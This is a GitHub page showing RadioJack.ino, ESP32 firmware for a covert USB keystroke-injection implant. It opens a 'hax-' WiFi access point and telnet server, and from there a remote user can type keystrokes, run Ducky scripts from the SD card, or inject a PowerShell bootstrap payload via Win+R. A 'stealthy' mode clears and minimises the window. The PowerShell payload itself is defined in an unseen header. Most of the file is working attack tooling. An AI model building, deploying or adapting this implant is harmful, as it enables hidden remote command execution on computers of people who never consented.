-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRadioJack.ino
478 lines (403 loc) · 13.1 KB
/
RadioJack.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
#include "Arduino.h"
#include "SD_MMC.h"
#include "logo.h"
#include "lv_driver.h"
#include "pin_config.h"
#include "esp_wifi.h"
/* external library */
/* To use Arduino, you need to place lv_conf.h in the \Arduino\libraries directory */
#include "OneButton.h" // https://github.com/mathertel/OneButton
#include "TFT_eSPI.h" // https://github.com/Bodmer/TFT_eSPI
#include "lv_conf.h"
#include "lvgl.h" // https://github.com/lvgl/lvgl
#include <FastLED.h> // https://github.com/FastLED/FastLED
#include "USB.h"
#include "USBHIDKeyboard.h"
#include "USBHIDMouse.h"
#include <WiFi.h>
#include <WiFiAP.h>
#include <WiFiClient.h>
#include "arducky.h"
// Should we include meshtastic bridge support?
#define MESH_BRIDGE_ENABLED
#define MESH_TCP_PORT 4403
#ifdef MESH_BRIDGE_ENABLED
#include "MeshtasticWifiBridgeClient.h"
#endif
// Serial globals
// #if ARDUINO_USB_CDC_ON_BOOT
// #define HWSerial Serial0
// #define USBSerial Serial
// #else
#define HWSerial Serial
USBCDC USBSerial2;
//#endif
// USB globals
USBHIDKeyboard keyboard;
USBHIDMouse mouse;
// Wifi Globals
char ssid[25]; // sside generated in sprintf in setup()
const char *password = "thisisthepassword"; // after updating to esp32 2.0.14 this password needs to be longer than "thepassword". Dunno why.
WiFiServer server(23);
// Screen globals
LV_IMG_DECLARE(avatargif);
TFT_eSPI tft = TFT_eSPI();
CRGB leds;
OneButton button(BTN_PIN, true);
uint8_t btn_press = 0;
lv_obj_t *label;
// state machine globals
enum RJ_STATE {
MENU_STATE = 0,
PAYLOAD_STATE,
KEYBOARD_STATE,
SERIAL_STATE,
DUCKY_STATE, // input for ducky
DUCKY_EXE_STATE // running ducky script
};
RJ_STATE state = MENU_STATE;
void led_task(void *param) {
while (1) {
static uint8_t hue = 0;
leds = CHSV(hue++, 0XFF, 100);
FastLED.show();
delay(50);
}
}
#define PRINT_STR(str, x, y) \
do { \
Serial.println(str); \
tft.drawString(str, x, y); \
y += 8; \
} while (0);
char label_text[255];
void refresh_label_text() {
label_text[0]='\0';
strcat(label_text, ssid);
strcat(label_text, "\n");
IPAddress myIP = WiFi.softAPIP();
strcat(label_text, myIP.toString().c_str());
}
void sd_init(void) {
int32_t x, y;
SD_MMC.setPins(SD_MMC_CLK_PIN, SD_MMC_CMD_PIN, SD_MMC_D0_PIN, SD_MMC_D1_PIN, SD_MMC_D2_PIN, SD_MMC_D3_PIN);
if (!SD_MMC.begin()) {
PRINT_STR("Card Mount Failed", x, y)
return;
}
uint8_t cardType = SD_MMC.cardType();
if (cardType == CARD_NONE) {
PRINT_STR("No SD_MMC card attached", x, y)
return;
}
String str;
str = "SD_MMC Card Type: ";
if (cardType == CARD_MMC) {
str += "MMC";
} else if (cardType == CARD_SD) {
str += "SD_MMCSC";
} else if (cardType == CARD_SDHC) {
str += "SD_MMCHC";
} else {
str += "UNKNOWN";
}
PRINT_STR(str, x, y)
uint32_t cardSize = SD_MMC.cardSize() / (1024 * 1024);
str = "SD_MMC Card Size: ";
str += cardSize;
PRINT_STR(str, x, y)
str = "Total space: ";
str += uint32_t(SD_MMC.totalBytes() / (1024 * 1024));
str += "MB";
PRINT_STR(str, x, y)
str = "Used space: ";
str += uint32_t(SD_MMC.usedBytes() / (1024 * 1024));
str += "MB";
PRINT_STR(str, x, y)
}
void setup() {
HWSerial.begin(115200);
pinMode(TFT_LEDA_PIN, OUTPUT);
// init USB HID
// initialize control over the keyboard:
keyboard.begin();
mouse.begin();
USBSerial2.begin();
USB.begin();
// Initialise TFT
tft.init();
tft.setRotation(1);
tft.fillScreen(TFT_BLACK);
digitalWrite(TFT_LEDA_PIN, 0);
tft.setTextFont(1);
tft.setTextColor(TFT_GREEN, TFT_BLACK);
// wifi AP setup
uint32_t low = ESP.getEfuseMac() & 0xFFFFFFFF;
uint32_t high = ( ESP.getEfuseMac() >> 32 ) % 0xFFFFFFFF;
uint64_t fullMAC = word(low,high);
// just want to have some ID to hopefully avoid SSID colision at conferences.
// hopefully this is good enough *shrug*
uint16_t small_id = high & 0xFFFF;
snprintf(ssid, 23, "hax-%X", small_id);
if (!WiFi.softAP(ssid, password)) {
log_e("Soft AP creation failed.");
keyboard.print("SoftAP creation failed :( ");
while (1);
}
IPAddress myIP = WiFi.softAPIP();
server.begin();
// BGR ordering is typical
// --- Uncomment for shiny LEDs ---
FastLED.addLeds<APA102, LED_DI_PIN, LED_CI_PIN, BGR>(&leds, 1);
xTaskCreatePinnedToCore(led_task, "led_task", 1024, NULL, 1, NULL, 0);
lvgl_init();
lv_obj_t* screen = lv_scr_act();
/* just show the logo gif */
lv_obj_set_style_bg_color(screen, lv_color_black(),0);
lv_obj_t *img = lv_gif_create(screen);
lv_obj_set_size(img, 60, 80);
lv_gif_set_src(img, &avatargif);
lv_obj_set_pos(img, 0, 0);
label = lv_label_create(screen);
refresh_label_text();
lv_label_set_text(label, label_text);
lv_obj_set_style_text_align(label, LV_TEXT_ALIGN_CENTER, 0);
lv_obj_set_pos(label, 65, 15);
button.attachClick([] { setup_ps(); });
// Init SD card
sd_init();
delay(3000); // delay for 3 seconds so we can read SD mount info. Comment out if you don't care
}
// set to 0 to help see whats going on. set to 1 to be stealthy
#define BE_STEALTHY 1
void setup_ps() {
keyboard.press(KEY_LEFT_GUI);
keyboard.press('r');
delay(10);
keyboard.releaseAll();
delay(500);
keyboard.print("powershell");
delay(100);
keyboard.press(KEY_RETURN);
delay(100);
keyboard.releaseAll();
delay(1200);
keyboard.print(bootstrap_ps);
if (BE_STEALTHY) {
keyboard.print("clear");
keyboard.print(small_window);
keyboard.press(KEY_LEFT_ALT);
keyboard.press(' ');
delay(100);
keyboard.releaseAll();
delay(10);
keyboard.write('n');
}
}
#define MAX_FILE_LEVELS 5
void listDir(WiFiClient *client, fs::FS &fs, const char *dirname, uint8_t cur_level) {
Serial.printf("Listing directory: %s\n", dirname);
File root = fs.open(dirname);
if (!root) {
client->write("Failed to open directory");
return;
}
if (!root.isDirectory()) {
client->write("Not a directory");
return;
}
File file = root.openNextFile();
while (file) {
const char *filename = file.name();
// skip hidden files
if(filename[0] != '.') {
for(short i=0; i < cur_level; i++){
client->write("-");
}
client->write(" ");
client->write(filename);
client->write("\n");
if (file.isDirectory() && cur_level <= MAX_FILE_LEVELS) {
listDir(client, fs, file.path(), cur_level + 1);
}
}
file = root.openNextFile();
}
client->write("\n");
}
void write_to_screen(const char *label1_text) {
lv_label_set_text(label, label1_text);
}
void handle_user_input(const char *input, WiFiClient *client) {
// escape logic
if(state != MENU_STATE && (strcmp(input, "radio jack off\r\n") == 0 || strcmp(input, "radio jack off\n") == 0 || strcmp(input, "radio jack off") == 0)) {
client->write("entering menu state\n");
state = MENU_STATE;
write_to_screen("MENU");
}
switch(state) {
case MENU_STATE: {
if(strcmp(input, "payload\r\n") == 0 || strcmp(input, "payload\n") == 0 || strcmp(input, "payload") == 0) {
state = PAYLOAD_STATE;
setup_ps();
client->write("payload delivered\n");
state = MENU_STATE;
} else if(strcmp(input, "ducky\r\n") == 0 || strcmp(input, "ducky\n") == 0 || strcmp(input, "ducky") == 0) {
client->write("Entering ducky mode \n");
listDir(client, SD_MMC, (const char*) "/", 0);
client->write("Which ducky file to run? (don't forget the leading /)");
state = DUCKY_STATE;
} else if(strcmp(input, "keyboard\r\n") == 0 || strcmp(input, "keyboard\n") == 0 || strcmp(input, "keyboard") == 0) {
client->write("Entering keyboard mode\n");
write_to_screen("KEYBOARD");
state = KEYBOARD_STATE;
} else if(strcmp(input, "serial\r\n") == 0 || strcmp(input, "serial\n") == 0 || strcmp(input, "serial") == 0) {
client->write("Entering serial mode\n");
write_to_screen("SERIAL");
USBSerial2.write(" \r\n");
state = SERIAL_STATE;
} else {
client->write("MENU: type 'payload', 'ducky', 'keyboard' or 'serial'. to exit a mode type 'radio jack off'\n->");
write_to_screen(input);
state = MENU_STATE;
}
}
break;
case PAYLOAD_STATE:
client->write("SHHHHH. still dropping payload");
break;
case DUCKY_STATE: {
client->write("running ->");
client->write(input);
client->write("\n");
write_to_screen(input);
state = DUCKY_EXE_STATE;
char ducky_errmsg[40];
short ducky_err = executeDucky(SD_MMC, input, keyboard, ducky_errmsg, 40);
if(ducky_err != 0) {
client->write(ducky_errmsg);
client->write("\nducky failed. back to menu\n");
} else {
client->write("ducky ran \n");
}
state = MENU_STATE;
}
break;
case DUCKY_EXE_STATE:
client->write("QUACK. still dropping ducky payload");
break;
case KEYBOARD_STATE: {
#ifndef RJ_DEBUG
size_t len = strlen(input);
keyboard.write((uint8_t*)input, len);
write_to_screen("Keystrokes-->");
#else
Serial.print("Keyboard from user: ");
Serial.println(input);
#endif
}
break;
case SERIAL_STATE:
#ifndef RJ_DEBUG
USBSerial2.write(input);
write_to_screen("SERIAL");
#else
Serial.print("Serial teminal from user: ");
Serial.println(input);
#endif
break;
default:
client->write("Unknown state bro. How did you even do this?");
write_to_screen("Unknown state");
}
}
void service_loop() {
lv_timer_handler();
button.tick();
}
int read_counter = 0;
unsigned long last_read = 0;
char str_buffer[MAX_MESH_PAYLOAD_LEN];
void handle_connected_client(WiFiClient &client) {
if(client.connected()){
state = MENU_STATE;
handle_user_input(" ", &client); // print menu
write_to_screen("Client connected");
last_read = millis();
}
while (client.connected()) { // loop while the client's connected
while (client.available()) { // if there's bytes to read from the client,
read_counter++;
last_read = millis();
String s = client.readString();
if(s.length() > 0) {
write_to_screen(s.c_str());
handle_user_input(s.c_str(), &client);
}
last_read = millis();
}
while (state == SERIAL_STATE && USBSerial2.available()) {
size_t num_read = USBSerial2.read(str_buffer,MAX_MESH_PAYLOAD_LEN);
client.write(str_buffer, num_read);
}
// service other tasks/loops
service_loop();
// debug -- make sure user is still there if we stuck on menu
if(state == MENU_STATE && millis() - last_read > 30 * 1000) {
String ping = "Still there? Ping! " + String(read_counter);
client.write(ping.c_str());
last_read = millis();
}
}
// close the connection:
client.stop();
write_to_screen("Client disconnected");
}
#ifdef MESH_BRIDGE_ENABLED
void loop_mesh_bridge() {
if(WiFi.softAPgetStationNum() > 0) {
wifi_sta_list_t wifi_sta_list;
tcpip_adapter_sta_list_t adapter_sta_list;
MeshtasticWifiBridgeClient client;
client.write_to_screen = write_to_screen;
memset(&wifi_sta_list, 0, sizeof(wifi_sta_list));
memset(&adapter_sta_list, 0, sizeof(adapter_sta_list));
esp_wifi_ap_get_sta_list(&wifi_sta_list);
tcpip_adapter_get_sta_list(&wifi_sta_list, &adapter_sta_list);
for (int i = 0; i < adapter_sta_list.num; i++) {
tcpip_adapter_sta_info_t station = adapter_sta_list.sta[i];
//ip_addr_t statip = static_cast<ip_addr_t>(station.ip);
char ip_buf[20];
char *ip_str = NULL;
ip_str = esp_ip4addr_ntoa(&(station.ip),ip_buf,20);
if(ip_str == NULL) {
write_to_screen("Bad IP");
return;
}
bool can_send = client.connect(ip_str, MESH_TCP_PORT);
if (!can_send) {
write_to_screen("No Mesh");
return;
}
// we're connected
client.requestConfigInfo(); // request node info to jump start convo
handle_connected_client(client);
}
}
}
#endif
void loop_wifi() {
WiFiClient client = server.available(); // listen for incoming clients
if (client) { // if you get a client,
handle_connected_client(client);
}
}
void loop() { // Put your main code here, to run repeatedly:
loop_wifi();
#ifdef MESH_BRIDGE_ENABLED
// listen for mestastic Bridges if enabled
loop_mesh_bridge();
#endif
service_loop();
delay(10); // long delay when not servicing clients
}